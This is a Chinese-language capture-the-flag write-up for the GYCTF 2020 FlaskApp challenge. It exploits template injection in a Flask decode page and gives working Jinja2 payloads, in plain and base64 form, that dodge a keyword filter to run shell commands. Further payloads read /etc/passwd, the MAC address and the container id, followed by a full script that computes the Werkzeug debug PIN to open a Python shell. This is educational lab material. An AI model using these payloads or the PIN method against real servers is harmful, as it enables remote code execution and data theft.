[GYCTF 2020]FlaskApp

[GYCTF 2020]FlaskApp

网站开启了Debug模式,在解码页面输入不正确的编码时候就会返回报错,得到部分的源码:

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)
        flash(res)

根据代码,可以知道我们加密后的代码经过waf后就会被直接渲染,那么就可能存在ssti了,但是这里存在waf,所以需要进行绕过。

拼接绕过黑名单

我们进行绕过来尽可能的达到命令执行,因为有waf,经测试过滤了flag(ZmxhZyA=),import,os,eval等关键词。我们对可能进行了过滤的单词使用拆分

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

#eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX0NCnslIGlmIGMuX19uYW1lX18gPT0gJ2NhdGNoX3dhcm5pbmdzJyAlfQ0KICB7JSBmb3IgYiBpbiBjLl9faW5pdF9fLl9fZ2xvYmFsc19fLnZhbHVlcygpICV9DQogIHslIGlmIGIuX19jbGFzc19fID09IHt9Ll9fY2xhc3NfXyAlfQ0KICAgIHslIGlmICdldmEnKydsJyBpbiBiLmtleXMoKSAlfQ0KICAgICAge3sgYlsnZXZhJysnbCddKCdfX2ltcG9yJysndF9fJysnKCJvJysncyIpJysnLnBvcGUnKyduJysnKCJscyAvIikucmVhZCgpJykgfX0NCiAgICB7JSBlbmRpZiAlfQ0KICB7JSBlbmRpZiAlfQ0KICB7JSBlbmRmb3IgJX0NCnslIGVuZGlmICV9DQp7JSBlbmRmb3IgJX0=

可以看到根目录下存在/this_is_the_flag.txt,接着拼接即可:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl"+"ag.txt").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX0NCnslIGlmIGMuX19uYW1lX18gPT0gJ2NhdGNoX3dhcm5pbmdzJyAlfQ0KICB7JSBmb3IgYiBpbiBjLl9faW5pdF9fLl9fZ2xvYmFsc19fLnZhbHVlcygpICV9DQogIHslIGlmIGIuX19jbGFzc19fID09IHt9Ll9fY2xhc3NfXyAlfQ0KICAgIHslIGlmICdldmEnKydsJyBpbiBiLmtleXMoKSAlfQ0KICAgICAge3sgYlsnZXZhJysnbCddKCdfX2ltcG9yJysndF9fJysnKCJvJysncyIpJysnLnBvcGUnKyduJysnKCJjYXQgL3RoaXNfaXNfdGhlX2ZsIisiYWcudHh0IikucmVhZCgpJykgfX0NCiAgICB7JSBlbmRpZiAlfQ0KICB7JSBlbmRpZiAlfQ0KICB7JSBlbmRmb3IgJX0NCnslIGVuZGlmICV9DQp7JSBlbmRmb3IgJX0=

计算pin码

Flask的Debug模式下,只要我们拿到了PIN码就能拿到Shell,计算PIN码需要以下几个内容:

usrname: 就是启动这个 Flask的用户
modname: 一般为flask.app
getattr(app, “__name__”, app.__class__.__name__):python该值一般为Flask 值一般不变
getattr(mod, 'file', None):为flask目录下的一个app.py的绝对路径
uuid.getnode():就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式
get_machine_id() :/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值
假如是在win平台下读取不到上面两个文件,就去获取注册表中SOFTWARE\Microsoft\Cryptography的值 假如是Docker机 那么为 /proc/self/cgroup docker行
  • 服务器运行flask所登录的用户名

我们可以查看/etc/passwd文件:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}

得到用户名为flaskweb

  • flask目录下的app.py的绝对路径

根据报错信息可以知道为/usr/local/lib/python3.7/site-packages/flask/app.py

  • 当前电脑的MAC地址

我们可以读取/sys/class/net/eth0/address来获得mac的16进制:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

得到02:42:ac:10:af:de,将其转换为十进制,在本地python输入:

>>> print(int('0242ac10afde',16))
2485377871838
  • 机器的id

读取/proc/self/cgroup获取get_machine_id()

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}

得到:

12:pids:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 11:devices:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 10:rdma:/ 9:memory:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 8:blkio:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 7:cpu,cpuacct:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 6:net_cls,net_prio:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 
5:hugetlb:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 4:cpuset:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 3:perf_event:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 2:freezer:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 1:name=systemd:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b 0::/system.slice/containerd.service

也就是1:name=systemd:/docker/4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b

计算PIN码:

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377871838',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '4e2d4390ee2a9b57df253521f44301973efc74e35a300a02b4e509d60989543b'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

将得到的PIN码在Debug页面输入进入控制台,既可以执行python shell了:

os.popen('cat /this_is_the_flag.txt').read()

参考资料

[GYCTF2020]FlaskApp

[GYCTF2020]FlaskApp

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇